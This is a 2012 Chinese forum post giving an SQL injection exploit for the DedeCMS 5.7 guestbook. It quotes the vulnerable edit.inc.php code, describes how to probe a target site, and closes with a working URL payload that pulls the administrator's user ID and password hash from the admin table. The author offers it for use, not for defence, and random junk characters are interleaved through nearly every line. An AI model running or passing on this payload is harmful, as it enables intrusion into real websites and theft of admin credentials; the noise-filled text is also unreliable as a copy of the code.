找回密码
 立即注册
查看: 4450|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
, ]* N; j% N! M; |; J/ Z+ a. f6 k3 x1 {- ?3 J3 O6 h6 J
漏洞文件edit.inc.php具体代码:2 b8 L0 h: X* o3 ?2 W
! i7 [5 K  c9 S3 M
< ?php  3 D. f, x0 `2 L2 C9 {6 _/ ^! O$ V
8 A$ q" O& C! p" |3 I! c
if(!defined('DEDEINC')) exit('Request Error!');  
, U( b( T; a' f- `" s( e9 u' p& |) F: \9 D% M. E6 b3 q
   
( e( A8 N% A! N+ [" p
# b. J) P6 {. w" C2 `if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
/ B' q! h* g' p) k  X) {! n, H7 y1 F4 t% ^9 J8 {
else $GUEST_BOOK_POS = "guestbook.php";  & Y8 `8 [& O0 _$ j) m% A1 z* Z4 v
0 `4 m% f9 @. r5 M& B* W$ h
   ' r6 q2 E" i4 ^% b

# F/ R) B$ m% _- }( q$id = intval($id);  & k% T$ n9 n, `# e! J

& G- i4 |, B) D1 V$ Aif(empty($job)) $job='view';  
4 G9 J" d. F* Y, ~4 m- L6 b
0 w9 p$ X6 u; n: m( v5 t; m# f   
3 Q1 V, H: L# X# m/ T9 Z! g
$ q  N6 M, y$ y# r5 R4 b1 xif($job=='del' && $g_isadmin)  $ B+ Z4 o0 S2 W' d3 O7 L; \
4 k( @+ J1 x' C. E
{  ! \, R( ~: `* D/ s5 g# I) j
8 w$ l3 F2 l' D/ l6 I7 r
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  8 h- H/ v/ V* I9 S3 C) p8 d6 {
0 E# W, d  j! \  i7 c# a$ y# [
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  6 v* c/ v( |7 V4 o

3 v4 c: y; T1 G0 Z# pexit();  9 Y4 q0 b  f" v* o+ o: p. A. S, }

! w. ]  a& k+ x0 Y}  : r) o9 e1 h- K7 {) V1 T1 ?5 X/ Z/ E
/ b* r; ?, A/ V* x- N6 Q
else if($job=='check' && $g_isadmin)  
9 K2 Z! ]2 e; [+ X4 M6 }7 Q
' D% ~& ^% Y' s* }+ @0 q{  4 ?' t1 S$ v: A# a& w

9 b8 o7 `$ q4 |9 ^4 L6 F. C$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  / w, s: _' G0 C" [- f: U. \- J

% n$ Q% l/ Y% }8 ~# |2 l6 b$ O, WShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  1 ^  h$ ]  @5 t3 C( I

& i, L: D8 e; Z+ X% xexit();  
* J* }5 i% |' o6 j3 F" d- d* Y& ]8 t# i. T6 x
}  5 L9 @% l1 a/ G4 _

  Y* \- `2 A: s6 Delse if($job=='editok')  
7 @3 z; T. @5 d6 L5 @. b
9 y4 q' Y$ a. W. `. U{  
  U9 A+ A: {- a' Q4 Q# r$ K4 F5 ]  r6 ?4 [- X; O
$remsg = trim($remsg);  
) n4 U: U* I- Y2 V! S2 r( F9 |! r+ b
if($remsg!='')  ( R+ v  z+ o$ W1 e% }1 G
2 o# O" J; T' ~
{  3 ]! _" l9 v, R, O* A8 ~, g
% M+ ^" k* |: B3 A
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
; j5 Y& c* z- e2 s
% r4 ~) @( K; y4 C  vif($g_isadmin)  9 o* s2 C, Q: }, k
) r! \* a: T& O# d! c2 t
{  
. r) }2 K; Y/ F2 Q( v
2 [: ?/ y8 F2 `$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  8 M/ n/ N- `' I
2 L9 l# }$ M0 Z$ E" Y2 n
//$remsg <br /><font color=red>管理员回复:</font> }  : b- s( G7 b# m0 W+ d1 U

- X5 l( q6 t0 I% @* yelse   S' P8 x6 C: Z0 ^2 q, Q

* S7 @, ^% z8 y6 f( K; {{  ) R* _  r( S# n; n; A9 `
& }' M+ g# u6 S6 Q. R
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
! j" m! H& f* U; U0 |. E
' p- {% x& O; D" y' r* H$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  3 [* n& u: X: Z4 {- Q! }+ F! d
+ W$ ~0 J3 _( u4 x
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  , k) s# B) @$ a3 u  H
/ ~- U/ u/ q; r$ v; `- D
$msg = $oldmsg.$remsg;  
8 Y6 P! N3 C$ {; K/ K0 Z$ {2 W% D  e4 }# w+ U  B8 m9 e
}  " z! w# ]$ x- O

5 y! X7 O: R# f- z}  ) q2 G6 j. o' M- S
0 z; f* H7 c" B1 y& l
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  ! J4 q7 d9 K6 v4 F
5 _4 c9 R; E/ Q  O. u  ?
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  : }* N9 V( E8 T: y* E/ a% k) d+ P

* J8 T  I$ m. R7 p  ZShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  6 j5 v' ?4 d) C0 H% V, Y# @* _( Y. k
. F' @' m" s! u! K5 M, ]* a
exit();  
0 N5 X1 ]& A0 I# e9 K; v( f. C
* J  g2 V6 B& ?0 a. n+ G}  4 U* \+ p# K  G: m9 t
8 D) b9 Q. c! a( s
//home:www.errs.cc  & F. y. O8 D: I$ h
& b2 u, X  z* T7 B" I7 g
if($g_isadmin)  . L9 `% G/ Q+ j* c- S7 l- i- a
" Y. W) ?6 u! ]
{  * G# r* [: Y# {' o1 h( f% s/ Z

' u1 ]$ ]* c' ~$ d$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
  K5 u, ~+ p: W: U# Y6 |- n5 I8 ?; P( n0 @
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
1 I2 _6 H* j3 [; M; ^1 ?: n* |1 }0 n5 B  G0 n1 T7 t7 b2 {9 [
}  9 D( \  ~" H( @
* Q7 j) s& F  A0 l' X/ P
else ' Z6 L+ Z: h  k% ]. I
# ?6 }7 l  Q  q2 C$ H6 u* k' c! R, H0 t
{  : ]7 |- {+ w( k- t/ \

# a4 g  O/ W' H8 u9 P9 R7 B% g* [$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  & @/ }7 w6 Q2 V

4 U0 z& L$ N! D$ qrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  5 x4 a4 u" Y2 E* T

1 Q1 A2 Z$ N, t: e& E* h} 漏洞成功需要条件:# N! w, K9 L/ v/ f% T3 T/ g5 X
1. php magic_quotes_gpc=off1 o" R8 O& Y7 [3 h1 X& P& c4 @$ S
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。! c. n- U/ H7 U1 g9 u
+ `7 @# E( W2 j1 X' K
怎么判断是否存在漏洞:
* H, L% H7 Y3 T( d+ A1 p. c! S' e先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
8 h7 \: y& v6 o+ u2 O然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID1 h2 h3 @; Y# y. T1 A0 }
访问:
0 ~) B4 H  ]- A3 O: P/ q8 d5 ^, F. }( v3 D' ^2 k  o
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了  [# r, U7 p7 Z4 B" D% E
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证$ k9 z6 p: y" V, a
" k3 R! s/ O4 V+ f

3 P% b9 x7 y2 G9 `6 e3 A明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
# Z- R( W! K& M4 X" r/ s2 g# j如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。3 q; E9 M4 e6 [6 m
那么再次访问
' u% E7 i$ P% ]9 N6 |" f' {
2 r5 O& x" r6 [7 i6 mwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
9 n- E! d- p" n" ~( \1 t
* _7 }! @+ V- E  i* `3 v9 E大概利用就是这样,大家有兴趣的多研究下!!) \0 i* Z' k9 h) m

! y8 j0 d+ c6 R5 N  b8 R) E1 y最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
% c1 D8 [3 }" H; ~$ w( o6 E  L, S5 @1 a% q0 m' J' q
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表